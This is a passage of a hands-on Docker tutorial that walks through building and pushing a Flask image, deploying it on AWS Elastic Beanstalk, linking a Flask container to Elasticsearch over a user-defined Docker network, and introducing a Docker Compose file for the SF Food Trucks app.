  • User images are images created and shared by users like you and me. They build on base images and add additional functionality. Typically, these are formatted as user/image-name.
  • +
+

Our First Image

+

Now that we have a better understanding of images, it's time to create our own. Our goal in this section will be to create an image that sandboxes a simple Flask application. For the purposes of this workshop, I've already created a fun little Flask app that displays a random cat .gif every time it is loaded - because you know, who doesn't like cats? If you haven't already, please go ahead and clone the repository locally like so -

+
$ git clone https://github.com/prakhar1989/docker-curriculum.git
+$ cd docker-curriculum/flask-app
+
+
+

This should be cloned on the machine where you are running the docker commands and not inside a docker container.

+
+

The next step now is to create an image with this web app. As mentioned above, all user images are based on a base image. Since our application is written in Python, the base image we're going to use will be Python 3.

+

Dockerfile

+

A Dockerfile is a simple text file that contains a list of commands that the Docker client calls while creating an image. It's a simple way to automate the image creation process. The best part is that the commands you write in a Dockerfile are almost identical to their equivalent Linux commands. This means you don't really have to learn new syntax to create your own dockerfiles.

+

The application directory does contain a Dockerfile but since we're doing this for the first time, we'll create one from scratch. To start, create a new blank file in our favorite text-editor and save it in the same folder as the flask app by the name of Dockerfile.

+

We start with specifying our base image. Use the FROM keyword to do that -

+
FROM python:3.8
+
+

The next step usually is to write the commands of copying the files and installing the dependencies. First, we set a working directory and then copy all the files for our app.

+
# set a directory for the app
+WORKDIR /usr/src/app
+
+# copy all the files to the container
+COPY . .
+
+

Now, that we have the files, we can install the dependencies.

+
# install dependencies
+RUN pip install --no-cache-dir -r requirements.txt
+
+

The next thing we need to specify is the port number that needs to be exposed. Since our flask app is running on port 5000, that's what we'll indicate.

+
EXPOSE 5000
+
+

The last step is to write the command for running the application, which is simply - python ./app.py. We use the CMD command to do that -

+
CMD ["python", "./app.py"]
+
+

The primary purpose of CMD is to tell the container which command it should run when it is started. With that, our Dockerfile is now ready. This is how it looks -

+
FROM python:3.8
+
+# set a directory for the app
+WORKDIR /usr/src/app
+
+# copy all the files to the container
+COPY . .
+
+# install dependencies
+RUN pip install --no-cache-dir -r requirements.txt
+
+# define the port number the container should expose
+EXPOSE 5000
+
+# run the command
+CMD ["python", "./app.py"]
+
+

Now that we have our Dockerfile, we can build our image. The docker build command does the heavy-lifting of creating a Docker image from a Dockerfile.

+

The section below shows you the output of running the same. Before you run the command yourself (don't forget the period), make sure to replace my username with yours. This username should be the same one you created when you registered on Docker hub. If you haven't done that yet, please go ahead and create an account. The docker build command is quite simple - it takes an optional tag name with -t and a location of the directory containing the Dockerfile.

+
$ docker build -t yourusername/catnip .
+Sending build context to Docker daemon 8.704 kB
+Step 1 : FROM python:3.8
+# Executing 3 build triggers...
+Step 1 : COPY requirements.txt /usr/src/app/
+ ---> Using cache
+Step 1 : RUN pip install --no-cache-dir -r requirements.txt
+ ---> Using cache
+Step 1 : COPY . /usr/src/app
+ ---> 1d61f639ef9e
+Removing intermediate container 4de6ddf5528c
+Step 2 : EXPOSE 5000
+ ---> Running in 12cfcf6d67ee
+ ---> f423c2f179d1
+Removing intermediate container 12cfcf6d67ee
+Step 3 : CMD python ./app.py
+ ---> Running in f01401a5ace9
+ ---> 13e87ed1fbc2
+Removing intermediate container f01401a5ace9
+Successfully built 13e87ed1fbc2
+
+

If you don't have the python:3.8 image, the client will first pull the image and then create your image. Hence, your output from running the command will look different from mine. If everything went well, your image should be ready! Run docker images and see if your image shows.

+

The last step in this section is to run the image and see if it actually works (replacing my username with yours).

+
$ docker run -p 8888:5000 yourusername/catnip
+ * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+
+

The command we just ran used port 5000 for the server inside the container and exposed this externally on port 8888. Head over to the URL with port 8888, where your app should be live.

+

cat gif website

+

Congratulations! You have successfully created your first docker image.

+

Docker on AWS

+

What good is an application that can't be shared with friends, right? So in this section we are going to see how we can deploy our awesome application to the cloud so that we can share it with our friends! We're going to use AWS Elastic Beanstalk to get our application up and running in a few clicks. We'll also see how easy it is to make our application scalable and manageable with Beanstalk!

+

Docker push

+

The first thing that we need to do before we deploy our app to AWS is to publish our image on a registry which can be accessed by AWS. There are many different Docker registries you can use (you can even host your own). For now, let's use Docker Hub to publish the image.

+

If this is the first time you are pushing an image, the client will ask you to login. Provide the same credentials that you used for logging into Docker Hub.

+
$ docker login
+Login in with your Docker ID to push and pull images from Docker Hub. If you do not have a Docker ID, head over to https://hub.docker.com to create one.
+Username: yourusername
+Password:
+WARNING! Your password will be stored unencrypted in /Users/yourusername/.docker/config.json
+Configure a credential helper to remove this warning. See
+https://docs.docker.com/engine/reference/commandline/login/credential-store
+
+Login Succeeded
+
+

To publish, just type the below command remembering to replace the name of the image tag above with yours. It is important to have the format of yourusername/image_name so that the client knows where to publish.

+
$ docker push yourusername/catnip
+
+

Once that is done, you can view your image on Docker Hub. For example, here's the web page for my image.

+
+

Note: One thing that I'd like to clarify before we go ahead is that it is not imperative to host your image on a public registry (or any registry) in order to deploy to AWS. In case you're writing code for the next million-dollar unicorn startup you can totally skip this step. The reason why we're pushing our images publicly is that it makes deployment super simple by skipping a few intermediate configuration steps.

+
+

Now that your image is online, anyone who has docker installed can play with your app by typing just a single command.

+
$ docker run -p 8888:5000 yourusername/catnip
+
+

If you've pulled your hair out in setting up local dev environments / sharing application configuration in the past, you very well know how awesome this sounds. That's why Docker is so cool!

+

Beanstalk

+

AWS Elastic Beanstalk (EB) is a PaaS (Platform as a Service) offered by AWS. If you've used Heroku, Google App Engine etc. you'll feel right at home. As a developer, you just tell EB how to run your app and it takes care of the rest - including scaling, monitoring and even updates. In April 2014, EB added support for running single-container Docker deployments which is what we'll use to deploy our app. Although EB has a very intuitive CLI, it does require some setup, and to keep things simple we'll use the web UI to launch our application.

+

To follow along, you need a functioning AWS account. If you haven't already, please go ahead and do that now - you will need to enter your credit card information. But don't worry, it's free and anything we do in this tutorial will also be free! Let's get started.

+

Here are the steps:

+
    +
  • Login to your AWS console.
  • +
  • Click on Elastic Beanstalk. It will be in the compute section on the top left. Alternatively, you can access the Elastic Beanstalk console.
  • +
+

Elastic Beanstalk start

+
    +
  • Click on "Create New Application" in the top right
  • +
  • Give your app a memorable (but unique) name and provide an (optional) description
  • +
  • In the New Environment screen, create a new environment and choose the Web Server Environment.
  • +
  • Fill in the environment information by choosing a domain. This URL is what you'll share with your friends so make sure it's easy to remember.
  • +
  • Under base configuration section. Choose Docker from the predefined platform.
  • +
+

Elastic Beanstalk Environment Type

+
    +
  • Now we need to upload our application code. But since our application is packaged in a Docker container, we just need to tell EB about our container. Open the Dockerrun.aws.json file located in the flask-app folder and edit the Name of the image to your image's name. Don't worry, I'll explain the contents of the file shortly. When you are done, click on the radio button for "Upload your Code", choose this file, and click on "Upload".
  • +
  • Now click on "Create environment". The final screen that you see will have a few spinners indicating that your environment is being set up. It typically takes around 5 minutes for the first-time setup.
  • +
+

While we wait, let's quickly see what the Dockerrun.aws.json file contains. This file is basically an AWS specific file that tells EB details about our application and docker configuration.

+
{
+  "AWSEBDockerrunVersion": "1",
+  "Image": {
+    "Name": "prakhar1989/catnip",
+    "Update": "true"
+  },
+  "Ports": [
+    {
+      "ContainerPort": 5000,
+      "HostPort": 8000
+    }
+  ],
+  "Logging": "/var/log/nginx"
+}
+
+

The file should be pretty self-explanatory, but you can always reference the official documentation for more information. We provide the name of the image that EB should use along with a port that the container should open.

+

Hopefully by now, our instance should be ready. Head over to the EB page and you should see a green tick indicating that your app is alive and kicking.

+

EB deploy

+

Go ahead and open the URL in your browser and you should see the application in all its glory. Feel free to email / IM / snapchat this link to your friends and family so that they can enjoy a few cat gifs, too.

+

Cleanup

+

Once you done basking in the glory of your app, remember to terminate the environment so that you don't end up getting charged for extra resources.

+

EB deploy

+

Congratulations! You have deployed your first Docker application! That might seem like a lot of steps, but with the command-line tool for EB you can almost mimic the functionality of Heroku in a few keystrokes! Hopefully, you agree that Docker takes away a lot of the pains of building and deploying applications in the cloud. I would encourage you to read the AWS documentation on single-container Docker environments to get an idea of what features exist.

+

In the next (and final) part of the tutorial, we'll up the ante a bit and deploy an application that mimics the real-world more closely; an app with a persistent back-end storage tier. Let's get straight to it!

+

MULTI-CONTAINER ENVIRONMENTS

+

In the last section, we saw how easy and fun it is to run applications with Docker. We started with a simple static website and then tried a Flask app. Both of which we could run locally and in the cloud with just a few commands. One thing both these apps had in common was that they were running in a single container.

+

Those of you who have experience running services in production know that usually apps nowadays are not that simple. There's almost always a database (or any other kind of persistent storage) involved. Systems such as Redis and Memcached have become de rigueur of most web application architectures. Hence, in this section we are going to spend some time learning how to Dockerize applications which rely on different services to run.

+

In particular, we are going to see how we can run and manage multi-container docker environments. Why multi-container you might ask? Well, one of the key points of Docker is the way it provides isolation. The idea of bundling a process with its dependencies in a sandbox (called containers) is what makes this so powerful.

+

Just like it's a good strategy to decouple your application tiers, it is wise to keep containers for each of the services separate. Each tier is likely to have different resource needs and those needs might grow at different rates. By separating the tiers into different containers, we can compose each tier using the most appropriate instance type based on different resource needs. This also plays in very well with the whole microservices movement which is one of the main reasons why Docker (or any other container technology) is at the forefront of modern microservices architectures.

+

SF Food Trucks

+

The app that we're going to Dockerize is called SF Food Trucks. My goal in building this app was to have something that is useful (in that it resembles a real-world application), relies on at least one service, but is not too complex for the purpose of this tutorial. This is what I came up with.

+

SF Food Trucks

+

The app's backend is written in Python (Flask) and for search it uses Elasticsearch. Like everything else in this tutorial, the entire source is available on Github. We'll use this as our candidate application for learning out how to build, run and deploy a multi-container environment.

+

First up, let's clone the repository locally.

+
$ git clone https://github.com/prakhar1989/FoodTrucks
+$ cd FoodTrucks
+$ tree -L 2
+.
+├── Dockerfile
+├── README.md
+├── aws-compose.yml
+├── docker-compose.yml
+├── flask-app
+│   ├── app.py
+│   ├── package-lock.json
+│   ├── package.json
+│   ├── requirements.txt
+│   ├── static
+│   ├── templates
+│   └── webpack.config.js
+├── setup-aws-ecs.sh
+├── setup-docker.sh
+├── shot.png
+└── utils
+    ├── generate_geojson.py
+    └── trucks.geojson
+
+

The flask-app folder contains the Python application, while the utils folder has some utilities to load the data into Elasticsearch. The directory also contains some YAML files and a Dockerfile, all of which we'll see in greater detail as we progress through this tutorial. If you are curious, feel free to take a look at the files.

+

Now that you're excited (hopefully), let's think of how we can Dockerize the app. We can see that the application consists of a Flask backend server and an Elasticsearch service. A natural way to split this app would be to have two containers - one running the Flask process and another running the Elasticsearch (ES) process. That way if our app becomes popular, we can scale it by adding more containers depending on where the bottleneck lies.

+

Great, so we need two containers. That shouldn't be hard right? We've already built our own Flask container in the previous section. And for Elasticsearch, let's see if we can find something on the hub.

+
$ docker search elasticsearch
+NAME                              DESCRIPTION                                     STARS     OFFICIAL   AUTOMATED
+elasticsearch                     Elasticsearch is a powerful open source se...   697       [OK]
+itzg/elasticsearch                Provides an easily configurable Elasticsea...   17                   [OK]
+tutum/elasticsearch               Elasticsearch image - listens in port 9200.     15                   [OK]
+barnybug/elasticsearch            Latest Elasticsearch 1.7.2 and previous re...   15                   [OK]
+digitalwonderland/elasticsearch   Latest Elasticsearch with Marvel & Kibana       12                   [OK]
+monsantoco/elasticsearch          ElasticSearch Docker image                      9                    [OK]
+
+

Quite unsurprisingly, there exists an officially supported image for Elasticsearch. To get ES running, we can simply use docker run and have a single-node ES container running locally within no time.

+
+

Note: Elastic, the company behind Elasticsearch, maintains its own registry for Elastic products. It's recommended to use the images from that registry if you plan to use Elasticsearch.

+
+

Let's first pull the image

+
$ docker pull docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+
+

and then run it in development mode by specifying ports and setting an environment variable that configures the Elasticsearch cluster to run as a single-node.

+
$ docker run -d --name es -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943
+
+
+

Note: If your container runs into memory issues, you might need to tweak some JVM flags to limit its memory consumption.

+
+

As seen above, we use --name es to give our container a name which makes it easy to use in subsequent commands. Once the container is started, we can see the logs by running docker container logs with the container name (or ID) to inspect the logs. You should see logs similar to below if Elasticsearch started successfully.

+
+

Note: Elasticsearch takes a few seconds to start so you might need to wait before you see initialized in the logs.

+
+
$ docker container ls
+CONTAINER ID        IMAGE                                                 COMMAND                  CREATED             STATUS              PORTS                                            NAMES
+277451c15ec1        docker.elastic.co/elasticsearch/elasticsearch:6.3.2   "/usr/local/bin/dock…"   2 minutes ago       Up 2 minutes        0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp   es
+
+$ docker container logs es
+[2018-07-29T05:49:09,304][INFO ][o.e.n.Node               ] [] initializing ...
+[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment    ] [L1VMyzt] using [1] data paths, mounts [[/ (overlay)]], net usable_space [54.1gb], net total_space [62.7gb], types [overlay]
+[2018-07-29T05:49:09,385][INFO ][o.e.e.NodeEnvironment    ] [L1VMyzt] heap size [990.7mb], compressed ordinary object pointers [true]
+[2018-07-29T05:49:11,979][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded module [x-pack-security]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded module [x-pack-sql]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded module [x-pack-upgrade]
+[2018-07-29T05:49:11,980][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded module [x-pack-watcher]
+[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded plugin [ingest-geoip]
+[2018-07-29T05:49:11,981][INFO ][o.e.p.PluginsService     ] [L1VMyzt] loaded plugin [ingest-user-agent]
+[2018-07-29T05:49:17,659][INFO ][o.e.d.DiscoveryModule    ] [L1VMyzt] using discovery type [single-node]
+[2018-07-29T05:49:18,962][INFO ][o.e.n.Node               ] [L1VMyzt] initialized
+[2018-07-29T05:49:18,963][INFO ][o.e.n.Node               ] [L1VMyzt] starting ...
+[2018-07-29T05:49:19,218][INFO ][o.e.t.TransportService   ] [L1VMyzt] publish_address {172.17.0.2:9300}, bound_addresses {0.0.0.0:9300}
+[2018-07-29T05:49:19,302][INFO ][o.e.x.s.t.n.SecurityNetty4HttpServerTransport] [L1VMyzt] publish_address {172.17.0.2:9200}, bound_addresses {0.0.0.0:9200}
+[2018-07-29T05:49:19,303][INFO ][o.e.n.Node               ] [L1VMyzt] started
+[2018-07-29T05:49:19,439][WARN ][o.e.x.s.a.s.m.NativeRoleMappingStore] [L1VMyzt] Failed to clear cache for realms [[]]
+[2018-07-29T05:49:19,542][INFO ][o.e.g.GatewayService     ] [L1VMyzt] recovered [0] indices into cluster_state
+
+

Now, lets try to see if can send a request to the Elasticsearch container. We use the 9200 port to send a cURL request to the container.

+
$ curl 0.0.0.0:9200
+{
+  "name" : "ijJDAOm",
+  "cluster_name" : "docker-cluster",
+  "cluster_uuid" : "a_nSV3XmTCqpzYYzb-LhNw",
+  "version" : {
+    "number" : "6.3.2",
+    "build_flavor" : "default",
+    "build_type" : "tar",
+    "build_hash" : "053779d",
+    "build_date" : "2018-07-20T05:20:23.451332Z",
+    "build_snapshot" : false,
+    "lucene_version" : "7.3.1",
+    "minimum_wire_compatibility_version" : "5.6.0",
+    "minimum_index_compatibility_version" : "5.0.0"
+  },
+  "tagline" : "You Know, for Search"
+}
+
+

Sweet! It's looking good! While we are at it, let's get our Flask container running too. But before we get to that, we need a Dockerfile. In the last section, we used python:3.8 image as our base image. This time, however, apart from installing Python dependencies via pip, we want our application to also generate our minified Javascript file for production. For this, we'll require Nodejs. Since we need a custom build step, we'll start from the ubuntu base image to build our Dockerfile from scratch.

+
+

Note: if you find that an existing image doesn't cater to your needs, feel free to start from another base image and tweak it yourself. For most of the images on Docker Hub, you should be able to find the corresponding Dockerfile on Github. Reading through existing Dockerfiles is one of the best ways to learn how to roll your own.

+
+

Our Dockerfile for the flask app looks like below -

+
# start from base
+FROM ubuntu:18.04
+
+MAINTAINER Prakhar Srivastav <prakhar@prakhar.me>
+
+# install system-wide deps for python and node
+RUN apt-get -yqq update
+RUN apt-get -yqq install python3-pip python3-dev curl gnupg
+RUN curl -sL https://deb.nodesource.com/setup_10.x | bash
+RUN apt-get install -yq nodejs
+
+# copy our application code
+ADD flask-app /opt/flask-app
+WORKDIR /opt/flask-app
+
+# fetch app specific deps
+RUN npm install
+RUN npm run build
+RUN pip3 install -r requirements.txt
+
+# expose port
+EXPOSE 5000
+
+# start app
+CMD [ "python3", "./app.py" ]
+
+

Quite a few new things here so let's quickly go over this file. We start off with the Ubuntu LTS base image and use the package manager apt-get to install the dependencies namely - Python and Node. The yqq flag is used to suppress output and assumes "Yes" to all prompts.

+

We then use the ADD command to copy our application into a new volume in the container - /opt/flask-app. This is where our code will reside. We also set this as our working directory, so that the following commands will be run in the context of this location. Now that our system-wide dependencies are installed, we get around to installing app-specific ones. First off we tackle Node by installing the packages from npm and running the build command as defined in our package.json file. We finish the file off by installing the Python packages, exposing the port and defining the CMD to run as we did in the last section.

+

Finally, we can go ahead, build the image and run the container (replace yourusername with your username below).

+
$ docker build -t yourusername/foodtrucks-web .
+
+

In the first run, this will take some time as the Docker client will download the ubuntu image, run all the commands and prepare your image. Re-running docker build after any subsequent changes you make to the application code will almost be instantaneous. Now let's try running our app.

+
$ docker run -P --rm yourusername/foodtrucks-web
+Unable to connect to ES. Retying in 5 secs...
+Unable to connect to ES. Retying in 5 secs...
+Unable to connect to ES. Retying in 5 secs...
+Out of retries. Bailing out...
+
+

Oops! Our flask app was unable to run since it was unable to connect to Elasticsearch. How do we tell one container about the other container and get them to talk to each other? The answer lies in the next section.

+

Docker Network

+

Before we talk about the features Docker provides especially to deal with such scenarios, let's see if we can figure out a way to get around the problem. Hopefully, this should give you an appreciation for the specific feature that we are going to study.

+

Okay, so let's run docker container ls (which is same as docker ps) and see what we have.

+
$ docker container ls
+CONTAINER ID        IMAGE                                                 COMMAND                  CREATED             STATUS              PORTS                                            NAMES
+277451c15ec1        docker.elastic.co/elasticsearch/elasticsearch:6.3.2   "/usr/local/bin/dock…"   17 minutes ago      Up 17 minutes       0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp   es
+
+

So we have one ES container running on 0.0.0.0:9200 port which we can directly access. If we can tell our Flask app to connect to this URL, it should be able to connect and talk to ES, right? Let's dig into our Python code and see how the connection details are defined.

+
es = Elasticsearch(host='es')
+
+

To make this work, we need to tell the Flask container that the ES container is running on 0.0.0.0 host (the port by default is 9200) and that should make it work, right? Unfortunately, that is not correct since the IP 0.0.0.0 is the IP to access ES container from the host machine i.e. from my Mac. Another container will not be able to access this on the same IP address. Okay if not that IP, then which IP address should the ES container be accessible by? I'm glad you asked this question.

+

Now is a good time to start our exploration of networking in Docker. When docker is installed, it creates three networks automatically.

+
$ docker network ls
+NETWORK ID          NAME                DRIVER              SCOPE
+c2c695315b3a        bridge              bridge              local
+a875bec5d6fd        host                host                local
+ead0e804a67b        none                null                local
+
+

The bridge network is the network in which containers are run by default. So that means that when I ran the ES container, it was running in this bridge network. To validate this, let's inspect the network.

+
$ docker network inspect bridge
+[
+    {
+        "Name": "bridge",
+        "Id": "c2c695315b3aaf8fc30530bb3c6b8f6692cedd5cc7579663f0550dfdd21c9a26",
+        "Created": "2018-07-28T20:32:39.405687265Z",
+        "Scope": "local",
+        "Driver": "bridge",
+        "EnableIPv6": false,
+        "IPAM": {
+            "Driver": "default",
+            "Options": null,
+            "Config": [
+                {
+                    "Subnet": "172.17.0.0/16",
+                    "Gateway": "172.17.0.1"
+                }
+            ]
+        },
+        "Internal": false,
+        "Attachable": false,
+        "Ingress": false,
+        "ConfigFrom": {
+            "Network": ""
+        },
+        "ConfigOnly": false,
+        "Containers": {
+            "277451c15ec183dd939e80298ea4bcf55050328a39b04124b387d668e3ed3943": {
+                "Name": "es",
+                "EndpointID": "5c417a2fc6b13d8ec97b76bbd54aaf3ee2d48f328c3f7279ee335174fbb4d6bb",
+                "MacAddress": "02:42:ac:11:00:02",
+                "IPv4Address": "172.17.0.2/16",
+                "IPv6Address": ""
+            }
+        },
+        "Options": {
+            "com.docker.network.bridge.default_bridge": "true",
+            "com.docker.network.bridge.enable_icc": "true",
+            "com.docker.network.bridge.enable_ip_masquerade": "true",
+            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
+            "com.docker.network.bridge.name": "docker0",
+            "com.docker.network.driver.mtu": "1500"
+        },
+        "Labels": {}
+    }
+]
+
+

You can see that our container 277451c15ec1 is listed under the Containers section in the output. What we also see is the IP address this container has been allotted - 172.17.0.2. Is this the IP address that we're looking for? Let's find out by running our flask container and trying to access this IP.

+
$ docker run -it --rm yourusername/foodtrucks-web bash
+root@35180ccc206a:/opt/flask-app# curl 172.17.0.2:9200
+{
+  "name" : "Jane Foster",
+  "cluster_name" : "elasticsearch",
+  "version" : {
+    "number" : "2.1.1",
+    "build_hash" : "40e2c53a6b6c2972b3d13846e450e66f4375bd71",
+    "build_timestamp" : "2015-12-15T13:05:55Z",
+    "build_snapshot" : false,
+    "lucene_version" : "5.3.1"
+  },
+  "tagline" : "You Know, for Search"
+}
+root@35180ccc206a:/opt/flask-app# exit
+
+

This should be fairly straightforward to you by now. We start the container in the interactive mode with the bash process. The --rm is a convenient flag for running one off commands since the container gets cleaned up when its work is done. We try a curl but we need to install it first. Once we do that, we see that we can indeed talk to ES on 172.17.0.2:9200. Awesome!

+

Although we have figured out a way to make the containers talk to each other, there are still two problems with this approach -

+
    +
  1. How do we tell the Flask container that es hostname stands for 172.17.0.2 or some other IP since the IP can change?
  2. +
  3. Since the bridge network is shared by every container by default, this method is not secure. How do we isolate our network?
  4. +
+

The good news that Docker has a great answer to our questions. It allows us to define our own networks while keeping them isolated using the docker network command.

+

Let's first go ahead and create our own network.

+
$ docker network create foodtrucks-net
+0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c
+
+$ docker network ls
+NETWORK ID          NAME                DRIVER              SCOPE
+c2c695315b3a        bridge              bridge              local
+0815b2a3bb7a        foodtrucks-net      bridge              local
+a875bec5d6fd        host                host                local
+ead0e804a67b        none                null                local
+
+

The network create command creates a new bridge network, which is what we need at the moment. In terms of Docker, a bridge network uses a software bridge which allows containers connected to the same bridge network to communicate, while providing isolation from containers which are not connected to that bridge network. The Docker bridge driver automatically installs rules in the host machine so that containers on different bridge networks cannot communicate directly with each other. There are other kinds of networks that you can create, and you are encouraged to read about them in the official docs.

+

Now that we have a network, we can launch our containers inside this network using the --net flag. Let's do that - but first, in order to launch a new container with the same name, we will stop and remove our ES container that is running in the bridge (default) network.

+
$ docker container stop es
+es
+
+$ docker container rm es
+es
+
+$ docker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673
+
+$ docker network inspect foodtrucks-net
+[
+    {
+        "Name": "foodtrucks-net",
+        "Id": "0815b2a3bb7a6608e850d05553cc0bda98187c4528d94621438f31d97a6fea3c",
+        "Created": "2018-07-30T00:01:29.1500984Z",
+        "Scope": "local",
+        "Driver": "bridge",
+        "EnableIPv6": false,
+        "IPAM": {
+            "Driver": "default",
+            "Options": {},
+            "Config": [
+                {
+                    "Subnet": "172.18.0.0/16",
+                    "Gateway": "172.18.0.1"
+                }
+            ]
+        },
+        "Internal": false,
+        "Attachable": false,
+        "Ingress": false,
+        "ConfigFrom": {
+            "Network": ""
+        },
+        "ConfigOnly": false,
+        "Containers": {
+            "13d6415f73c8d88bddb1f236f584b63dbaf2c3051f09863a3f1ba219edba3673": {
+                "Name": "es",
+                "EndpointID": "29ba2d33f9713e57eb6b38db41d656e4ee2c53e4a2f7cf636bdca0ec59cd3aa7",
+                "MacAddress": "02:42:ac:12:00:02",
+                "IPv4Address": "172.18.0.2/16",
+                "IPv6Address": ""
+            }
+        },
+        "Options": {},
+        "Labels": {}
+    }
+]
+
+

As you can see, our es container is now running inside the foodtrucks-net bridge network. Now let's inspect what happens when we launch in our foodtrucks-net network.

+
$ docker run -it --rm --net foodtrucks-net yourusername/foodtrucks-web bash
+root@9d2722cf282c:/opt/flask-app# curl es:9200
+{
+  "name" : "wWALl9M",
+  "cluster_name" : "docker-cluster",
+  "cluster_uuid" : "BA36XuOiRPaghPNBLBHleQ",
+  "version" : {
+    "number" : "6.3.2",
+    "build_flavor" : "default",
+    "build_type" : "tar",
+    "build_hash" : "053779d",
+    "build_date" : "2018-07-20T05:20:23.451332Z",
+    "build_snapshot" : false,
+    "lucene_version" : "7.3.1",
+    "minimum_wire_compatibility_version" : "5.6.0",
+    "minimum_index_compatibility_version" : "5.0.0"
+  },
+  "tagline" : "You Know, for Search"
+}
+root@53af252b771a:/opt/flask-app# ls
+app.py  node_modules  package.json  requirements.txt  static  templates  webpack.config.js
+root@53af252b771a:/opt/flask-app# python3 app.py
+Index not found...
+Loading data in elasticsearch ...
+Total trucks loaded:  733
+ * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
+root@53af252b771a:/opt/flask-app# exit
+
+

Wohoo! That works! On user-defined networks like foodtrucks-net, containers can not only communicate by IP address, but can also resolve a container name to an IP address. This capability is called automatic service discovery. Great! Let's launch our Flask container for real now -

+
$ docker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web
+852fc74de2954bb72471b858dce64d764181dca0cf7693fed201d76da33df794
+
+$ docker container ls
+CONTAINER ID        IMAGE                                                 COMMAND                  CREATED              STATUS              PORTS                                            NAMES
+852fc74de295        yourusername/foodtrucks-web                           "python3 ./app.py"       About a minute ago   Up About a minute   0.0.0.0:5000->5000/tcp                           foodtrucks-web
+13d6415f73c8        docker.elastic.co/elasticsearch/elasticsearch:6.3.2   "/usr/local/bin/dock…"   17 minutes ago       Up 17 minutes       0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp   es
+
+$ curl -I 0.0.0.0:5000
+HTTP/1.0 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Length: 3697
+Server: Werkzeug/0.11.2 Python/2.7.6
+Date: Sun, 10 Jan 2016 23:58:53 GMT
+
+

Head over to http://0.0.0.0:5000 and see your glorious app live! Although that might have seemed like a lot of work, we actually just typed 4 commands to go from zero to running. I've collated the commands in a bash script.

+
#!/bin/bash
+
+# build the flask container
+docker build -t yourusername/foodtrucks-web .
+
+# create the network
+docker network create foodtrucks-net
+
+# start the ES container
+docker run -d --name es --net foodtrucks-net -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+
+# start the flask app container
+docker run -d --net foodtrucks-net -p 5000:5000 --name foodtrucks-web yourusername/foodtrucks-web
+
+

Now imagine you are distributing your app to a friend, or running on a server that has docker installed. You can get a whole app running with just one command!

+
$ git clone https://github.com/prakhar1989/FoodTrucks
+$ cd FoodTrucks
+$ ./setup-docker.sh
+
+

And that's it! If you ask me, I find this to be an extremely awesome, and a powerful way of sharing and running your applications!

+

Docker Compose

+

Till now we've spent all our time exploring the Docker client. In the Docker ecosystem, however, there are a bunch of other open-source tools which play very nicely with Docker. A few of them are -

+
    +
  1. Docker Machine - Create Docker hosts on your computer, on cloud providers, and inside your own data center
  2. +
  3. Docker Compose - A tool for defining and running multi-container Docker applications.
  4. +
  5. Docker Swarm - A native clustering solution for Docker
  6. +
  7. Kubernetes - Kubernetes is an open-source system for automating deployment, scaling, and management of containerized applications.
  8. +
+

In this section, we are going to look at one of these tools, Docker Compose, and see how it can make dealing with multi-container apps easier.

+

The background story of Docker Compose is quite interesting. Roughly around January 2014, a company called OrchardUp launched a tool called Fig. The idea behind Fig was to make isolated development environments work with Docker. The project was very well received on Hacker News - I oddly remember reading about it but didn't quite get the hang of it.

+

The first comment on the forum actually does a good job of explaining what Fig is all about.

+
+

So really at this point, that's what Docker is about: running processes. Now Docker offers a quite rich API to run the processes: shared volumes (directories) between containers (i.e. running images), forward port from the host to the container, display logs, and so on. But that's it: Docker as of now, remains at the process level.

+

While it provides options to orchestrate multiple containers to create a single "app", it doesn't address the management of such group of containers as a single entity. And that's where tools such as Fig come in: talking about a group of containers as a single entity. Think "run an app" (i.e. "run an orchestrated cluster of containers") instead of "run a container".

+
+

It turns out that a lot of people using docker agree with this sentiment. Slowly and steadily as Fig became popular, Docker Inc. took notice, acquired the company and re-branded Fig as Docker Compose.

+

So what is Compose used for? Compose is a tool that is used for defining and running multi-container Docker apps in an easy way. It provides a configuration file called docker-compose.yml that can be used to bring up an application and the suite of services it depends on with just one command. Compose works in all environments: production, staging, development, testing, as well as CI workflows, although Compose is ideal for development and testing environments.

+

Let's see if we can create a docker-compose.yml file for our SF-Foodtrucks app and evaluate whether Docker Compose lives up to its promise.

+

The first step, however, is to install Docker Compose. If you're running Windows or Mac, Docker Compose is already installed as it comes in the Docker Toolbox. Linux users can easily get their hands on Docker Compose by following the instructions on the docs. Since Compose is written in Python, you can also simply do pip install docker-compose. Test your installation with -

+
$ docker-compose --version
+docker-compose version 1.21.2, build a133471
+
+

Now that we have it installed, we can jump on the next step i.e. the Docker Compose file docker-compose.yml. The syntax for YAML is quite simple and the repo already contains the docker-compose file that we'll be using.

+
version: "3"
+services:
+  es:
+    image: docker.elastic.co/elasticsearch/elasticsearch:6.3.2
+    container_name: es
+    environment:
+      - discovery.type=single-node
+    ports:
+      - 9200:9200
+    volumes:
+      - esdata1:/usr/share/elasticsearch/data
+  web:
+    image: yourusername/foodtrucks-web
+    command: python3 app.py
+    depends_on:
+      - es
+    ports:
+      - 5000:5000
+    volumes:
+      - ./flask-app:/opt/flask-app
+volumes:
+  esdata1:
+    driver: local
+
+

